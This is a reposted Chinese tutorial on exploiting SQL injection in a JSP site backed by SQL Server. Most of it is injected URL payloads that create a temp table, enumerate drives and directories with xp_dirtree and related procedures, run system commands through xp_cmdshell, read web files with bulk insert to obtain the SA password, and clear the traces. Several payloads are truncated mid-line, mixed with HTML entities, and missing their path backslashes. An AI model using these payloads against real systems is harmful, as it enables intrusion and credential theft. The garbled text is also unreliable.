sql注入过程详解_动力节点Java学院整理

2020-07-04 06:04:23易采站长站整理

一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubwwwroot; D:inetpubwwwroot; E:inetpubwwwroot等,而可执行虚拟目录是:c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。

二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;

先创建一个临时表:temp
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;create&n … mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

接下来:

(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert temp … ter.dbo.xp_availablemedia;–
我们可以通过查询temp的内容来获得驱动器列表及相关信息

(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(i … dbo.xp_subdirs ‘c:’;–

(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– 
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec … nbsp;’type c:webindex.jsp’;–
使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from ‘c:inetpubwwwrootindex.jsp’ 
浏览temp就可以看到index.jsp文件的内容了!通过分析各种JSP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
当然,如果xp_cmshell能够执行,我们可以用它来完成:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)&nbs … cmdshell ‘dir c:’;–
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)&n … p_cmdshell ‘dir c: *.jsp /s/a’;–
通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe … ubAdminScriptsadsutil.vbs enum w3svc’
但是,如果不是SA权限,我们还可以使用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;–

注意:

1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;delete from temp;–

相关文章 大家在看